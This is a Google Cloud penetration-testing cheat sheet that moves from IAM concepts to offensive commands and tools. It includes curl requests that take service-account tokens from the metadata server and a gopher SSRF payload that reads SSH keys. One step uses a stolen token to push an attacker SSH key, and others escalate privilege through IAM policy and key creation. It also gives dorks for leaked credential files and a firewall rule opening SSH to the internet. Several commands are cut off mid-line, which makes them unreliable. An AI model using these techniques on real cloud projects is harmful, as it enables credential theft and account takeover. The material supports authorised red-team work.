



## **GCP Pentest : Tools and Techniques**

### **MITRE Att&ck : Cloud Matrix**

- <https://attack.mitre.org/matrices/enterprise/cloud/>

### **Google Cloud Vs Google Workspace**

- Google Cloud Platform (GCP) : Provides cloud services (IAAS, PAAS, SAAS)
- Google Workspace (G-Suite) : Provides business application (SAAS, Idaas)

### **GCP - 101**

Google Cloud Platform resource hierarchy. - <https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy>

Azure and GCP follow Resource Based Policy comparing to AWS following Identity Based Policy.

Unlike AWS, in Azure (and GCP), the list of permissions is decoupled from the resources. The resources for which a permission assignment would apply is called a “scope.” (Source)

#### **Organization**

--> Folders

--> Projects

--> Resources

#### **Organization**

The Organization resource is the root node in the Google Cloud resource hierarchy and is the hierarchical super node of projects.

#### **Folders**

Folders are nodes in the Cloud Platform Resource Hierarchy. A folder can contain projects, other folders, or a combination of both. Organizations can use folders to group projects under the organization node in a hierarchy.

#### **Project**

A GCP Project is basically a collection of various GCP services such as compute instances, storage buckets, Cloud run containers, etc. that are grouped together since they serve one application or project in the corporate terminology.

## GCP Control Plane

GCP control plane can be defined as a set of APIs that allows a GCP administrator or an IAM user to start, monitor and stop various services that run within GCP environment.

## GCP IAM

- Who / What / Where :
  1. Who: Members (User Account / Service Account)
  2. What: Role (Set of permissions)
  3. Where: Role binding to an object (At multiple possible levels)

→ Permissions are inherited which means if you have permission on project level you will have same permissions set on all resources within this project.

## GCP Role

3 type of roles within GCP: Role are a collection of permissions.

Permissions enable you to take certain actions: Ex - **Compute.Instances.Start**

- **Basic Roles:** It's provides broader access to GCP resources (Owner, Editor, Viewer)
- **Prededfined Roles:** It's provides granular acces to specific GCP resources. (By product or service: Compute Admin, Computer Network Admin... etc)
- **Custom Roles:** It's provides custom access to GCP resources.

## GCP Service Account

Equivalent to role in AWS and Managed Identities in Azure.

By default service account never expire and did not have MFA. Very interesting account for attackers.

A service account is a special kind of account used by an application or GCP compute instance.

Service account act as a identity as well as a resource: - Service account as identity - Where we need GCP resource access without human intervention - Service account as resource - Where we need access on other service accounts

→ Service account is associated within a project and uniquely identity by it's email address

## Default Service Account

- Automatically created within a project (Ex: User create a new compute instance)
  - App Engine: Default Service Account: PROJECT\_ID@appspot.gserviceaccount.com

- Compute Engine: Default Service Account: PROJECT\_NUMBER-compute@developer.gserviceaccount.com

→ The Compute Engine default service account is created with the **IAM basic Editor role**. They have this permission on Project level.

### User Managed Service Account

- Created and managed by end user when required
  - SERVICE\_ACCOUNT\_NAME@PROJECT\_ID.iam.gserviceaccount.com

### Google Managed Service Account

- Used by GCP Services when they need access to user resource on their behalf. Service account is owned by Google and is not listed in the Service Accounts section of Cloud Console. (Permissions are not easily viewable)

3 variants: - @developer.gserviceaccount.com - @gserviceaccount.com - service-@gcp-sa-iam.gserviceaccount.com

To view their permissions you can copy theses managed service account role to a custom one.

```
gcloud iam roles copy
```

### Secrets to GCP Control Plane

#### Owner (username/password)

This is the first account used to sign up for GCP. → Root level credential, owner credential for the GCP project

### GCP IAM user

GCP Identity and Access Management (IAM) allows to create unique IAM user identities. IAM accounts are restricted by default in terms of the privileges they are provided with.

### Service account

Special type of Google account intended to represent a non-human user that need to authenticate and be authorized to access data in Google APIs.

→ **Service account key files**: JSON files containing the private key of the service account. Used by application to access various other GCP resources.

### OAuth 2.0 Client credentials

In some case we would not use service account but user credentials to access resources on behalf of an end user for example, in this case we will use OAuth 2.0 client credentials.

-> A client token will be obtained after the user grants permissions and this allows an application to access project resources under that user's account. (OAuth Token Hijacking)

### **API Keys**

API keys are simple encrypted strings that can be used when calling certain APIs that don't need to access private user data.

API Key are mostly used to track API requests associated with the project for quota and billing.

### **Threat regarding GCP**

- Owner account - IAM credentials - Service account key files

3 Types of IAM roles: - Basic Roles: Existing roles prior to the introduction of IAM + Owner + Editor + Viewer

Note: Primitive Editor role has dangerous permissions such as **iam.serviceAccountKeys.create** and **iam.serviceAccounts.actAs**.

- Predefined Roles: Granular access for specific service
  - Created by Google
- Custom Roles : Granular access to user-specified list of permissions.

**Checking permissions** - IAM permissions - Predefined roles - Product specific IAM roles

### **GCP Access**

#### **Google Cloud Directory Sync**

- LDAP and Active Directory Sync

#### **Web console**

- <https://console.cloud.google.com>
  - > Management UI (classical admin console interface with GUI accessible through browser)

#### **Gcloud CLI**

- <https://cloud.google.com/sdk/docs/cheatsheet> -> Google Cloud CLI is a set of tools to create and manage Google Cloud resources.

Through click on the web console or gcloud CLI you will directly talk to Controle Plan APIs (Restfull).

## Obtaining User Access Tokens

As mentionned previously 2 types of accounts exist within GCP :- User accounts (user credentials) - Service accounts (service account credentials)

Secret in user credentials files takes the form of a long-lived **refresh tokens** .

-> You usually obtain (authorized) user credential files by through the underlying command, which initiates an **OAuth 2.0 authorization code grant**.

```
gcloud auth application-default login
```

-> This will produce a credential file called : **application\_default\_credentials.json**

- > Located at : `~/.config/gcloud`

This **refresh token** can be used to obtain access tokens using **OAuth 2.0 refresh token grant**

As an attacker some actions or tools required an **access tokens** to operate. In fact the **refresh token grant** action only requires a single call to retrieve a valid **access token**.

```
curl --location --request POST "https://oauth2.googleapis.com/token" --header "Content-Type:  
    'client_id': 'XXXXXXXXXX-XXXXXXXXXXXX.apps.googleusercontent.com',  
    'client_secret': 'X-XXXXXXXXXXXXXXXXXX',  
    'refresh_token': 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',  
    'grant_type': 'refresh_token'  
}"
```

- > The response is an access token and an ID token.

**Note 1 :** You can modify the access token scopes by specifying scopes in your request, although you cannot increase beyond the scopes of the original refresh token.

**Note 2 :** The scope ending *cloud-platform* gives you access to pretty much all GCP resources.

## Obtaining Service Account Access Tokens

- [https://hackingthe.cloud/gcp/general-knowledge/metadata\\_in\\_google\\_cloud\\_instances/](https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/)

GCP Service Accounts documentation.

Service account credential files are JSON files containing **private key**. This private key is generated from GCP Console or using Gcloud cli.

These key can be used to obtain **access tokens**. The private key is stored within service account credential files

```
{
  "type": "service_account",
  "project_id": "project-id",
  "private_key_id": "**redacted**",
}
```

```

"private_key": "-----BEGIN PRIVATE KEY-----\n**redacted**\n-----END PRIVATE KEY-----\n",
"client_email": "service-account-name@project-id.iam.gserviceaccount.com",
"client_id": "**redacted**",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/service-account-
}

```

In order to obtain access tokens for service account, most of the time attacker will exploit the metadata service directly and retrieve the access tokens.

```
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/t"

```

Obtain the scope of the current access token

```
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/s"

```

You can also directly authenticate yourself using the service account credential JSON file.

```
gcloud auth activate-service-account --project=<YOUR GCLOUD PROJECT> --key-file=<SERVICE ACCOUNT KEY FILE>

```

Using Service Account from a user perspective with role **roles/iam.serviceAccountTokenCreator** will let the following logs: - Great blog post regarding service account logging.

```

{
  "principalEmail": "k8s@project.iam.gserviceaccount.com",
  "serviceAccountDelegationInfo": [
    {
      "firstPartyPrincipal": {
        "principalEmail": "ryan@example.com"
      }
    }
  ]
}

```

-> You can also get a higher level of detail if you enable **Data Access logs**.

-> If the attacker is directly downloading and using service account key level of attribution would be impossible, and the log will not provide you with the principal user email.

```

authenticationInfo: {
  principalEmail: "k8s@project.iam.gserviceaccount.com"
  serviceAccountKeyName: "//iam.googleapis.com/projects/project/serviceAccounts/k8s@project.iam.gserviceaccount.com"
}

```

## **Initial Access**

### **Password spraying**

- <https://github.com/ustayready/CredKing>

### **OAuth2 Application phishing (Illicit Consent Grant)**

#### **Hangout Phishing**

#### **GSuite phishing**

- Take a look at the Google Workspace methodology

### **Shared images (social engineering)**

GCP allows a user to share his/her image with any user in the GCP Platform, allowing a potential malicious user to share a poisoned image with a targeted user and using social engineering techniques to convince him to use that as a base image within its GCP projects / GCE instances.

## **GCP - Analysis**

### **GCP Scanner**

This is a GCP resource scanner that can help determine what level of access certain credentials possess on GCP. The scanner is designed to help security engineers evaluate the impact of a certain VM/container compromise, GCP service account or OAuth2 token key leak.

- [https://github.com/google/gcp\\_scanner](https://github.com/google/gcp_scanner)

### **GCP Inspector**

- <https://infosecwriteups.com/gcp-inspector-auditing-publicly-exposed-gcp-bucket-ac6cad55618c>
- <https://github.com/justmorpheus/gcp-inspector>

### **CloudSploit**

- <https://github.com/aquasecurity/cloudsploit> Scripts designed to check for security misconfiguration within cloud environment such as GCP, AWS, Azure, Oracle (OCI), Github.

There is specific instruction for GCP to follow in order to use the Cloudsploit tool, such as providing specific role or permission set.

- <https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration>

## Graph Google Cloud

- <https://github.com/JupiterOne/graph-google-cloud/tree/main>

## Scoutsuite

- <https://github.com/nccgroup/ScoutSuite> Multi-Cloud security auditing tool.

## GCP Hound

gcpHound queries and collects all organization and projects permissions as well as group memberships.

→ You can edit the file **rolesOfInterest.txt** file to customize and analyze roles you are interested in before running gcpHound.

- <https://desi-jarvis.medium.com/gcphound-a-swiss-army-knife-offensive-toolkit-for-google-cloud-platform-gcp-fb9e18b959b4>
- <https://medium.com/@richardson.brad/gcphound-this-hound-has-learned-some-new-tricks-8a53559dc0dd>

`docker pull desijarvis/gcphound:v1.2`

## Lyft

- <https://github.com/lyft/cartography> Tool to enumerate and print in a graph resources and relations of different cloud platforms.
- Google Cloud Platform - Cloud Resource Manager, Compute, DNS, Storage, Google Kubernetes Engine

## Hayat

- <https://github.com/DenizParlak/hayat>

Hayat is a auditing & hardening script for Google Cloud Platform services such as:

- Identity & Access Management
- Logging and monitoring
- Networking
- Virtual Machines
- Storage
- Cloud SQL Instances
- Kubernetes Clusters



## GCP-IAM-Collector

Python scripts for collecting and visualising Google Cloud Platform IAM permissions.

GCP IAM graph is created using vis.js and it's static HTML page, see example interactive graph.

- <https://github.com/marcin-kolda/gcp-iam-collector>

## GCP IAM Role Permission

- <https://github.com/darkbitio/gcp-iam-role-permissions>

## GCP IAM Analyzer

- <https://github.com/jdyke/gcp-iam-analyzer>

## GCP IAM Visualisation

Provides an overview of the IAM policies set up in a Google Cloud Platform (GCP) project. Links between assets and members are stored in a structured manner using neo4j. Relationships between them can, as such, be analysed using the Cypher Query Language in the neo4j frontend.

- <https://github.com/bartcode/gcp-iam-viz>

**Exploiting Set IAM Policy Permission** Using `XXXX.setIamPolicy` with a user or service account can set IAM policy on different resources depending on the permission level (Organizations, Folder, Project, Resource).

- **Organization Level:** `resourceManager.organizations.setIamPolicy`
- **Folder Level:** `resourceManager.folders.setIamPolicy`
- **Project Level:** `resourceManager.projects.setIamPolicy`
- **Resource:** `computer.instances.setIamPolicy`

Getting project ID and listing IAM policy applied on the project level

```
gcloud config list
```

```
gcloud projects get-iam-policy <projectID> --flatten="bindings[].members" --filter="bindings"
```

List permissions in custom role

```
gcloud iam roles describe [rolename] --project <projectID>
```

Exploiting Set IAM Policy

```
gcloud projects add-iam-policy-binding [project-id] --member='user:[user-email]' --role='rol'
```

**Exploiting Custom Role permissions update** Custom role contains user defined permissions, custom role can **only be attached to organization OR project level**.

Permission: **iam.roles.update**

```
gcloud iam roles update <CustomRoleName> --project=<ProjectName> --add-permissions=resource
```

**Exploiting Service Account Key Admin** Key Admin can create a new key for a Service Account. Service Account can have up to **10** keys.

Permission: **iam.serviceAccountkeys.create** Role: **roles/iam.serviceAccountKeyAdmin**  
OR **roles/iam.serviceAccountAdmin**

Create a new key for specific service account

```
gcloud iam service-accounts keys create <File.json> --iam-account <ServiceAccountID>
```

**Exploiting Service Account impersonation** As the name suggest it lets principals impersonate service accounts, allowing principals to create short-lived credentials for service accounts, or use the **–impersonate-service-account** flag.

Permissions: **roles/iam.serviceAccountTokenCreator**

This role include: - iam.serviceAccounts.getAccessToken: lets you create OAuth 2.0 access tokens - iam.serviceAccounts.getOpenIdToken: lets you create OpenID Connect (OIDC) ID tokens

Create short-lived credentials [access token] for service accounts by impersonation. (Access Tokens are only available for 60 minutes)

```
gcloud auth print-access-token --impersonate-service-account [ImpersonateServiceAccountEmail]
```

Verify short-lived credentials [access token]. Valid for 3600 seconds (1 hour)

```
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=[AccessToken]
```

Create short-lived credentials [identity token] for service accounts by impersonation.

```
gcloud auth print-identity-token --impersonate-service-account [ImpersonateServiceAccountEmail]
```

Verify short-lived credentials [identity token].

```
curl https://www.googleapis.com/oauth2/v1/tokeninfo?identity_token=[IdentityToken]
```

**Exploiting Service Account User** This permission allows principals to indirectly access all the resources that the service account can access.

Role: **roles/iam.serviceAccountUser** Permission: **iam.serviceAccounts.actAs**

Listing service account permission set

```
gcloud iam service-accounts get-iam-policy [ServiceAccountID]
```

## **GCP Firewall enum**

Parse gcloud output to enumerate compute instances with network ports exposed to the Internet.

- [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\\_firewall\\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)

## **GCP\_enum**

A simple bash script to enumerate Google Cloud Platform environments. The script utilizes gcloud, gsutil, and curl commands to collect information from various GCP APIs. The commands will use the current “Application Default Credentials”.

- [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_enum)

## **GCP K8s enum**

This tool analyzes the output of several gcloud commands to determine services exposed to the public Internet via Google Kubernetes Engine (GKE) Ingress.

- [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\\_k8s\\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)

## **GCP – Enumeration / Recon**

### **DNS enumeration**

Enumerate DNS records of an organization using dnsrecon, amasss, subLocal, Sublister, aiodnsbrute or other tools.

```
python3 dnsrecon.py -d atomic-nuclear.site
```

### **GCP - Services potentially exposed to internet**

- Compute Engine (bc.googleusercontent.com)
- Cloud Function (cloudfunctions.net)
- Firebase Realtime Databases (firebaseio.com)
- Firebase Applications (firebaseapp.com)
- Cloud Run (run.app)
- App Engine (appspot.com)
- GKE Kubernetes ()
- Cloud storage (storage.googleapis.com)

### **Open buckets / CloudRun / Functions**

- [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\\_misc.git](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc.git)

This github repo contain bash scripts that may be usefull to find open buckets, open cloudrun and open functions from an external attacker perspective (unauthenticated).

- `find_open_cloudrun.sh`: Cloud Run services that permit unauthenticated invocations anywhere in your GCP organization.
- `find_open_buckets.sh`: Find buckets that are open to the public anywhere in your GCP organization.
- `find_open_functions.sh`: Find Cloud Functions that permit unauthenticated invocations anywhere in your GCP organization

```
bash find_open_cloudrun.sh
```

### **GCP - Azure - AWS IP ranges**

Python script performing the necessary actions for collecting the latest IP addresses used by Amazon Web Services, Google Compute, and Microsoft Azure.

- <https://github.com/chrismaddalena/UsefulScripts/blob/master/UpdateCloudIPs.py>

### **Shodan / Censys**

Look for strings within Shodan related to GCP environments: - storage.googleapis.com

### **CloudScraper (modified version)**

- <https://github.com/lutzenfried/CloudScraper>

-> (Modified version including additionnal GCP and Azure interesting endpoints)

- bc.googleusercontent.com (GCE instances)
- appspot.com (Google App Engine)
- run.app (Google Cloud run)
- firebaseio.com (Google Cloud Firestore - NoSQL)
- cloudfunctions.net (Google Cloud Functions)
- azurewebsites.net (Azure websites)
- cloudapp.net (Azure Cloud App)
- cloudapp.azure.com (Azure Cloud App)

CloudScraper is a Tool to spider and scrape targets in search of cloud resources. Plug in a URL and it will spider and search the source of spidered pages.

```
python3 CloudScraper.py -v -p 4 -d 5 -u https://www.company.com
```

### **GCP Dorks**

- Finding service account credentials

```
site:github.com "auth_provider_x509_cert_url"
```

- Identifying GCE instances that might have JSON file:

`site:bc.googleusercontent.com ext:json intext:url`

-> If a website is hosted in this GCE, add the IP before **bc**.

`https://33.xx.xx.xx.bc.googleusercontent.com/`

-> Automated technique: SearchDiggity (Credits to : BishopFox) -  
<https://resources.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/>

- Identifying GCP Storage.
  - `https://bucket_name.storage.googleapis.com`
  - `https://storage.googleapis.com/bucket_name`

`site:storage.googleapis.com`

-> Automated technique: GCPBucketBrute

- Identifying App Engine

`site:appspot.com inurl:admin ext:html`

- Identifying Cloud run

`site:run.app inurl:admin`

- Identifying Cloud Firestore (NoSQL database)

`site:firebaseio.com inurl:admin`

- Identifying Cloud Functions

`site:cloudfunctions.net inurl:admin`

- Identifying potential SSRF

`site:appspot.com ext:php inurl:url=`

### **Dorks automation techniques:**

#### 1. SearchDiggity

- <https://resources.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/>

#### 2. Dork-cli

- <https://github.com/jgor/dork-cli>

In order to use this program you need to configure at a minimum two settings:  
 a Google API key and a custom search engine id.

### **GCP Storage - GreyHatWarfare**

Finding GCP Storage resources such as buckets: - <https://buckets.grayhatwarfare.com/>

## GCP Storage misc locations

- Github, other repo technology to find storage endpoint
- Mobile app of the company
- Wayback machine (enum\_wayback module MSF)

## Accessing Objects

- [https://storage.googleapis.com/its\\_all\\_in\\_the\\_cloud/object001.jpg](https://storage.googleapis.com/its_all_in_the_cloud/object001.jpg)
  - storage.googleapis.com -> GCP
  - its\_all\_in\_the\_cloud -> Globally unique bucket name
  - object001.jpg -> Object Name

## Git / Repo secret parsers

Public Repository Search for Credentials/Access Keys/Configuration Files

- [gitleaks] (<https://github.com/zricethezav/gitleaks>)
- [trufflehog] (<https://github.com/trufflesecurity/truffleHog>)
- [git-secrets] (<https://github.com/awslabs/git-secrets>)
- [shhgit] (<https://github.com/eth0izzle/shhgit>)
- [gitrob] (<https://github.com/michenriksen/gitrob>)
- [Token Hunter] (<https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/t>)

-> Within Github search for the following terms in company profile : - storage.googleapis.com

-> Within Github search look for service account credentials:

auth\_provider\_x509\_cert\_url extension:json

github\_service\_account

## Cloud\_Enum

Tool to search for public resources in AWS, Azure, and GCP

- [https://github.com/initstring/cloud\\_enum](https://github.com/initstring/cloud_enum)

python3 cloud\_enum.py -k <name-to-search>

## Cloud Brute

- <https://github.com/0xsha/CloudBrute>

Tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).

CloudBrute -d company.com -k keyword -m storage -t 80 -T 10 -w -c google -o target\_output.txt

## GCP - Authenticated enumeration

### CloudTricks - Carlos Polop

Enumeration TTPs for the main GCP Services.

- <https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services>

### Brute forcing permissions

Find which permissions the service account has access to: - [https://github.com/carlospolop/bf\\_my\\_gcp\\_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)

# Using json creds

```
python3 bf_my_gcp_perms.py -c /tmp/credentials.json -p project-name-1232
```

# Using raw token

```
python3 bf_my_gcp_perms.py -t <token> -p project-name-1232
```

### Cloud Service Enum

This script allows pentesters to validate which cloud tokens (API keys, OAuth tokens and more) can access which cloud service.

- <https://github.com/NotSoSecure/cloud-service-enum/>
- <https://notsosecure.com/cloud-services-enumeration-aws-azure-and-gcp>

### User - data access

In case of web application or instance compromise it is possible to access instance meta-data, but also to access **user data**. -> These data are specified when we launch our instance, e.g. Simple script to specify parameters to configure a MySQL database on the instance.

## GCP - Exploitation

### Phishing G-Suite:

- Calendar Event Injection • Silently injects events to target calendars • No email required • Google API allows to mark as accepted • Bypasses the “don’t auto-add” setting • Creates urgency w/ reminder notification • Include link to phishing page

### OAuth Phishing (Illicit Grant Attack)

illicit grant attacks use the actual OAuth authentication/authorization flows in order to obtain the OAuth session tokens. This has the advantage of bypassing MFA authentication, with permanent or nearly indefinite access since the OAuth tokens can be continually refreshed in most cases using **refresh token**

- <https://www.youtube.com/watch?v=motZouxkVZ0>

- <https://www.youtube.com/watch?v=q6UPWBrHJtM>
- <https://www.netskope.com/fr/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1>

### Exploitation framework : GCploit

- <https://github.com/dxa4481/gcploit>

### Exploiting “actAs” permission

- <https://youtu.be/Ml09R38jpok?t=1306>

When you create certain Google Cloud resources, you have the option to attach a service account. The attached service account acts as the identity of any jobs running on the resource, allowing the jobs to authenticate to Google Cloud APIs.

For most Google Cloud services, users need permission to impersonate a service account in order to attach that service account to a resource. This means that the user needs the **iam.serviceAccounts.actAs** permission on the service account.

→ Require service account identity (JSON)

List service account that you managed to compromised (without basis service account)

```
gcploit --list
```

List the project we have access to with the basis service account or the compromised service account

```
gcploit --gcloud "projects list"
```

Exploit using **iam.serviceAccounts.actAs** and target all service account within a project.

This exploit requires the base identity have actAs and functionCreator on the target project.

```
gcploit --exploit actas --project <ProjectID> --target_sa all
```

### Exploiting “dataProc” permission

Dataproc permissions allow users, including service accounts, to perform specific actions on Dataproc clusters, jobs, operations, and workflow templates. For example, the **dataproc.clusters.create** permission allows a user to create Dataproc clusters in your project.

**Note:** *Security requirement beginning August 3, 2020: Dataproc users are required to have service account ActAs permission to deploy Dataproc resources, for example, to create clusters and instantiate workflows.*



Exploit using **dataproc.clusters.create** and attach default service account using **dataproc.serviceaccount**.

This is going to launch a new data proc cluster with a new default compute service account.

```
gcploit --exploit dataproc --project <ProjectID> --source <dataproc.serviceaccount>
```

### Exploitation framework : Purple Panda

This tool fetches resources from different cloud/saas applications focusing on permissions in order to identify privilege escalation paths and dangerous permissions in the cloud/saas configurations.

- <https://github.com/carlospolop/PurplePanda>

### Exploiting shared images

#### GCP : GCPBucketBrute

Google Storage buckets, determine what access you have to them, and determine if they can be privilege escalated.

- <https://github.com/RhinoSecurityLabs/GCPBucketBrute>

This tool can be used using unauthenticated/authenticated approach.

If credentials -> the majority of enumeration will still be performed while unauthenticated, but for any bucket that is discovered via unauthenticated enumeration, it will attempt to enumerate the bucket permissions using the **TestIamPermissions** API with the supplied credentials.

```
python3 gcpbucketbrute.py -k companyName -u
```

### Checking permission

**2 ways** to check the permissions over a GCP bucket. 1. Request to [https://www.googleapis.com/storage/v1/b/BUCKET\\_NAME/iam](https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam) 2. `gsutil iam get gs://BUCKET_NAME`

-> Permissions to read the iam policy of the bucket are required (**storage.buckets.getIamPolicy**)

You can also use the **testPermissions** endpoint to validate additional permissions.

```
https://www.googleapis.com/storage/v1/b/BUCKET\_NAME\_TO\_BE\_CHANGED/iam/testPermissions?permis
```

### Brute force file within bucket

If the bucket is configured correctly and file listing is not possible, that does not mean the files are protected correctly within the bucket. It is possible that the owner of the bucket forgot to set the permissions on sensitive files uploaded to that bucket.

- Use enumFilesStorage.py

```
# Usage : python3 enumFilesStorage.py bucketName threadNumber
# python3 enumFilesStorage.py cdn_test 16
```

```
Not Found : index.php
Not Found : search.php
Not Found : login.php
=====> Valid file found : a.log
Not Found : cron.php
Not Found : LICENSE.txt
Not Found : INSTALL.pgsql.txt
Not Found : register.php
Not Found : memberlist.php
Not Found : UPGRADE.txt
```

### CRT Discovery

- <https://developers.facebook.com/docs/certificate-transparency-api/>
- Certificate transparency <https://crt.sh/?q=company.com>

### Subdomain takeover

Subdomain takeover can occur within GCP environment. For example through bucket and DNS entry misconfiguration.

In case a DNS entry still points to the subdomain to that GCP bucket, but the bucket has been deleted, an attacker would be able to **create** a new bucket with the same name under his attacker's GCP account.

This would provide capability to attacker to create malicious JavaScript, or served any content using victim organization identity.

e.g. `foo.example.com ---DNS--entry--(CNAME)---> foo.storage.googleapis.com`

### Subdomain takeover technic

1. Enumerating subdomain and maps where subdomain point to.
  - <https://github.com/naamsec/HostileSubBruteforcer>
  - <https://github.com/aboul3la/Sublist3r>
  - Certificate transparency <https://crt.sh/?q=company.com>
  - <httpstatus.io> to verify status code
2. In case it points to deleted GCP bucket : **No Such Bucket** -> Reserve a bucket within your GCP environment with the same name.

### Subdomain takeover tools

- <https://github.com/EdOverflow/can-i-take-over-xyz>



gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys

### Accessing interesting files

- **SSH Public Key** : <http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json>
- **Get Access Token** : <http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token>
- **Kubernetes Key** : <http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kubernetesenv?alt=json>

### SSRF Exploitation scenario:

1. Extract the token

<http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token>

2. Check the scope of the token

```
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXkGTOrJ
```

```
{
  "issued_to": "101302079XXXXXX",
  "audience": "10130207XXXXXX",
  "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/logging.read",
  "expires_in": 2443,
  "access_type": "offline"
}
```

3. Now push the SSH key

```
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" \
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXXTOrJSA" \
-H "Content-Type: application/json" \
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```

### Validate a User Tokens

Query the Google API to validate and determine token scope.

```
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ywgfhdb3dyx-xj0_EofjsfFks53
```

- `gcp_check_token.py`
- `gcp_get_token_gce_header.py`
- `gcp_get_token_gce_v1beta1.py` Check access token is valid and it's scope via `googleapis.com`

### Exploiting Kubernetes (K8s-GKE)

GKE node have default service account with **Editor** role bind to project level.

-> Service account are restricted by scopes:

```
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/trace.append
https://www.googleapis.com/auth/logging.write: added if Cloud Logging is enabled
https://www.googleapis.com/auth/monitoring: added if Cloud Monitoring is enabled
```

It exists some hardening and mitigation proposed by GCP in order to restrict the potential privilege escalations path from a node compromise.

- <https://github.com/lightspin-tech/red-kube>
- <https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/>
- <https://www.4armed.com/blog/hacking-kubelet-on-gke/>
- <https://live.paloaltonetworks.com/t5/blogs/exploring-google-kubernetes-engine-gke-security/ba-p/249971>
- <https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum>
- <https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-tech-notes/-/tree/master/K8s-GKE-attack-notes>
- <https://www.appvia.io/blog/how-can-i-secure-my-kubernetes-cluster-on-gke/>
- <https://sysdig.com/learn-cloud-native/kubernetes-security/gke-security-best-practices-guide/>
- <https://www.youtube.com/watch?v=Ml09R38jpok>

**Scenario :** You exploit a webapp and get command execution.

### **Validate you are in container env**

Check for environment variables for *kupepods* process

```
/bin/cat /proc/1/cgroup
```

If Docker in use, check for *.dockerenv* at /

```
ls -lah /
```

Check process list on the box (pid 1 is not **init** or **launchd**)

```
ps -aux
```

### **Exploiting Containers**

- <https://github.com/RhinoSecurityLabs/ccat>

## Accessing secrets

By default, a container in the Kubernetes cluster will hold a service account token within its file system. If attackers find that token, they can use it to move laterally, or depending on the privilege of the service account, they can escalate its privilege to compromise the entire cluster environment.

```
/run/secrets/kubernetes.io/serviceaccount/token  
/var/run/secrets/kubernetes.io/serviceaccount/token
```

Access token via metadata from compromised nodes.

```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
```

## Exploiting Google Managed Services Account

- Great research from Dylan Ayrey and Allison Donovan

## Firewall manipulation

Requires: - **Roles:** roles/compute.admin, roles/compute.securityAdmin  
- **Permissions:** compute.firewalls.create, compute.firewalls.update, compute.networks.updatePolicy

Check IAM policy on project level

```
gcloud projects get-iam-policy project123 --flatten="bindings[].members" --filter="bindings.  
--format="value(bindings.role)"
```

List of all firewall rules in a gcp project

```
gcloud compute firewall-rules list --format=json
```

Create a new firewall rules applicable for all GCE instances within a VPC

```
gcloud compute firewall-rules create exfilssh-rule --allow=tcp:22 --source-ranges="0.0.0.0/0"
```

## Oauth Scope manipulation

In case you have the right permission on a compute instance (compute.instances.setServiceAccount) you can try to update the Oauth scope or change service account assigned to gain more access and permission using the service account access token.

**Note:** To change an instance's service account and Oauth access scope, instance must be stopped. (Also need permission to stop/start the instance), compute.instances.start, compute.instances.stop or full roles. - roles/compute.admin - roles/compute.instanceAdmin - roles/compute.instanceAdmin.v1 - Service Account User (iam.serviceAccountUser)

```
gcloud compute instances set-service-account instance123 --scopes cloud-platform --zone us-c
```

## GCP - Lateral movement / pivoting

### Identify compute permissions

Assuming we have an RCE on a given instance.

Retrieve access token for the service account associated with the instance

```
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/<NUMBER>"
```

Get the name of attached scope to this service account

```
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<ACCESS_TOKEN>
```

### Windows Host - Passwords reset

Using gcloud cli and if you have the correct permission (role/compute.instanceAdmin.v1 on the VM or project).

```
gcloud compute reset-windows-password WindowsVMName --zone=us-central1-a --user userLocal
```

- If the VM uses a service account : Service Account User permission (roles/iam.serviceAccountUser) on the service account or on the project.
- If the account does not exist on this instance, Google will create that account and include it within the Local Administrator group.

### Abusing GCP OS Patch management

